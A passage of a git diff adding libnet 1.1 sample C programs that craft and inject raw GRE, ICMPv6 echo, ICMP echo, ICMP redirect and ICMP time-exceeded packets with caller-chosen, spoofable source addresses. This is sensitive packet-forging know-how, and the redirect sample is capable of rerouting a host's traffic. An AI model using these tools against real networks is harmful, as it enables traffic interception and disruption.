+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'c':
+ checksum = atoi(optarg);
+ gre_flags|=GRE_CSUM;
+ break;
+ case 'r':
+ routing = optarg;
+ gre_flags|=GRE_ROUTING;
+ break;
+ case 'k':
+ key = atoi(optarg);
+ gre_flags|=GRE_KEY;
+ break;
+ case 'n':
+ seq = atoi(optarg);
+ gre_flags|=GRE_SEQ;
+ break;
+ case 'v':
+ gre_flags|=(GRE_VERSION_1|GRE_KEY);
+ break;
+ case 'a':
+ if (! (gre_flags & GRE_VERSION_1))
+ usage(argv[0]);
+ seq = atoi(optarg); /* seq in v0 is ack in v1 */
+ gre_flags|=GRE_ACK;
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ /*
+ * check options
+ */
+ if (!dst_ip)
+ {
+ usage(argv[0]);
+ }
+
+ if (!src_ip)
+ {
+ src_ip = libnet_get_ipaddr4(l);
+ }
+
+ if (!gre_dst_ip)
+ {
+ gre_dst_ip = libnet_get_prand(LIBNET_PRu32);
+ }
+
+ if (!gre_src_ip)
+ {
+ gre_src_ip = libnet_get_prand(LIBNET_PRu32);
+ }
+
+
+ if ( (gre_flags & GRE_VERSION_MASK) == 0)
+ {
+ /*
+ * Build a TCP/IP packet embedded in GRE message
+ */
+ size = LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 1234, /* source port */
+ 53, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ size, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ size += LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ size, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ gre_src_ip, /* source IP */
+ gre_dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ if ( (gre_flags & GRE_VERSION_MASK) == 1)
+ {
+ offset = libnet_get_prand(LIBNET_PRu16);
+ if (~gre_flags & GRE_ACK)
+ {
+ u_char ppp[4] = "\x00\x01"; /* PPP padding */
+ checksum = 2; /* checksum is in fact payload_s in PPP/GRE (v1) */
+ size = 2;
+ gre_flags|=GRE_SEQ;
+ key = libnet_get_prand(LIBNET_PRu32);
+
+ /*
+ * Build a PPP packet embedded in GRE message
+ */
+ t = libnet_build_data(
+ ppp,
+ checksum,
+ l,
+ 0
+ );
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build PPP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+ gre_flags&=~(GRE_CSUM|GRE_ROUTING);
+ }
+
+ /*
+ * Build the GRE message
+ */
+ if (gre_flags & GRE_ROUTING)
+ {
+ /* as packet are stacked, start by the last one, ie null sre */
+ size += LIBNET_GRE_SRE_H;
+ t = libnet_build_gre_last_sre(l, 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ size += LIBNET_GRE_SRE_H + strlen(routing);
+ t = libnet_build_gre_sre(
+ GRE_IP, /* address family */
+ 0, /* offset */
+ strlen(routing), /* routing length */
+ routing, /* routing info */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ len = libnet_getgre_length(gre_flags);
+ size += len;
+ t = libnet_build_gre(
+ gre_flags, /* flags & version */
+ (gre_flags & GRE_VERSION_1 ? GRE_PPP : GRE_IP), /* type */
+ checksum, /* v0: checksum / v1: payload_s */
+ offset, /* v0: offset / v1: callID */
+ key, /* v0: key / v1: seq bum */
+ seq, /* v0: seq num / v1: ack */
+ size, /* length */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build GRE header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
+ /*
+ * Build the "real" IP header
+ */
+ size+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ size, /* length */
+ 0, /* TOS */
+ 255, /* IP ID */
+ 0, /* IP Frag */
+ 255, /* TTL */
+ IPPROTO_GRE, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ "11:11:11:11:11:11", /* ethernet destination */
+ ETHERTYPE_IP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ /*
+ * Write it to the wire.
+ */
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte GRE packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
diff --git a/libnet/sample/icmp6_echoreq.c b/libnet/sample/icmp6_echoreq.c
new file mode 100644
index 0000000..d874372
--- /dev/null
+++ b/libnet/sample/icmp6_echoreq.c
@@ -0,0 +1,184 @@
+/*
+ * $Id: icmp6_echoreq.c,v 1.1.1.1 2003/06/26 21:55:10 route Exp $
+ *
+ * Poseidon++ (c) 1996 - 2002 Mike D. Schiffman <mike@infonexus.com>
+ * Redone from synflood example by Stefan Schlott <stefan@ploing.de>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv6_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ struct libnet_in6_addr dst_ip;
+ struct libnet_in6_addr src_ip;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, c, packet_amt, burst_int, burst_amt, build_ip;
+ char srcname[100],dstname[100];
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+
+ printf("libnet 1.1 echo request ICMP6[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW6, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ if (!(cp = strrchr(optarg, '/')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ dst_ip = libnet_name2addr6(l, optarg, 1);
+ if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
+ {
+ fprintf(stderr, "Bad IP6 address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+
+ libnet_seed_prand(l);
+ libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
+ libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
+
+ for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ char payload[56];
+ int i;
+ for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
+ t = libnet_build_icmpv4_echo(ICMP6_ECHO,0,0,1,0,payload,sizeof(payload),l,t);
+
+ if (build_ip)
+ {
+ build_ip = 0;
+ libnet_build_ipv6(0,0,
+ LIBNET_ICMPV6_H + sizeof(payload),
+ IPPROTO_ICMP6,
+ 64,
+ src_ip,
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ 0);
+ }
+ printf("%15s/%5d -> %15s/%5d\n",
+ srcname,
+ ntohs(src_prt),
+ dstname,
+ dst_prt);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/icmp_echo_cq.c b/libnet/sample/icmp_echo_cq.c
new file mode 100644
index 0000000..0eaa61d
--- /dev/null
+++ b/libnet/sample/icmp_echo_cq.c
@@ -0,0 +1,201 @@
+/*
+ * $Id: icmp_echo_cq.c,v 1.3 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build ICMP_ECHO packets using the context queue interface.
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+void usage(char *);
+
+
+int
+main(int argc, char **argv)
+{
+ libnet_t *l = NULL;
+ u_long src_ip = 0, dst_ip = 0;
+ u_long count = 10;
+ int i, c;
+ libnet_ptag_t t;
+ char *payload = NULL;
+ u_short payload_s = 0;
+
+ char *device = NULL;
+ char *pDst = NULL, *pSrc = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ char label[LIBNET_LABEL_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP[RAW using context queue]\n");
+
+ while((c = getopt(argc, argv, "d:s:i:c:p:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ pDst = optarg;
+ break;
+ case 's':
+ pSrc = optarg;
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ case 'c':
+ count = strtoul(optarg, 0, 10);
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ }
+ }
+
+ if (!pSrc || !pDst)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Fill the context queue with "count" packets, each with their own
+ * context.
+ */
+ for (i = 0; i < count; i++)
+ {
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ /* we should run through the queue and free any stragglers */
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ /*
+ * Since we need a libnet context for address resolution it is
+ * necessary to put this inside the loop.
+ */
+ if (!dst_ip && (dst_ip = libnet_name2addr4(l, pDst,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", pDst);
+ exit(1);
+ }
+ if (!src_ip && (src_ip = libnet_name2addr4(l, pSrc,
+ LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", pSrc);
+ exit(1);
+ }
+
+ t = libnet_build_icmpv4_echo(
+ ICMP_ECHO, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 0x42, /* id */
+ 0x42, /* sequence number */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_s, /* length */
+ 0, /* TOS */
+ 0x42, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* and finally, put it in the context queue */
+ snprintf(label, sizeof(label)-1, "echo %d", i);
+ if (libnet_cq_add(l, label) == -1)
+ {
+ fprintf(stderr, "add error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ for_each_context_in_cq(l)
+ {
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ }
+
+ libnet_cq_destroy();
+ return (EXIT_SUCCESS);
+bad:
+ libnet_cq_destroy();
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip"
+ " [-i iface] [-c count = 10]\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_redirect.c b/libnet/sample/icmp_redirect.c
new file mode 100644
index 0000000..92d13c0
--- /dev/null
+++ b/libnet/sample/icmp_redirect.c
@@ -0,0 +1,200 @@
+/*
+ * $Id: icmp_redirect.c,v 1.3 2004/03/16 18:40:58 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP redirect packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Copyright (c) 2003 Alberto Ornaghi <alor@antifork.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src_ip, dst_ip, gw_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP redirect[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ gw_ip = 0;
+ while((c = getopt(argc, argv, "d:s:g:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 'g':
+ if ((gw_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad gateway IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip || !gw_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0x42, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ dst_ip, /* source IP */
+ src_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build error IP header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_icmpv4_redirect(
+ ICMP_REDIRECT, /* type */
+ ICMP_REDIRECT_HOST, /* code */
+ 0, /* checksum */
+ gw_ip,
+ NULL,
+ 0,
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_REDIRECT_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0xee, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -s source_ip -d destination_ip -g gateway_ip\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/icmp_timeexceed.c b/libnet/sample/icmp_timeexceed.c
new file mode 100644
index 0000000..ef372a0
--- /dev/null
+++ b/libnet/sample/icmp_timeexceed.c
@@ -0,0 +1,190 @@
+/*
+ * $Id: icmp_timeexceed.c,v 1.3 2004/03/16 18:40:58 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP timeexceed packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src_ip, dst_ip;
+ u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5};
+ u_long payload_s = 8;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: ICMP timeexceed[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ while((c = getopt(argc, argv, "d:s:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0xee, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ dst_ip, /* source IP */
+ src_ip, /* destination IP */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build error IP header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_icmpv4_timeexceed(
+ ICMP_TIMXCEED, /* type */
+ ICMP_TIMXCEED_INTRANS, /* code */
+ 0, /* checksum */
+ NULL,
+ 0,
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_TIMXCEED_H +
+ LIBNET_IPV4_H + payload_s, /* length */
+ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */
+ 0xee, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
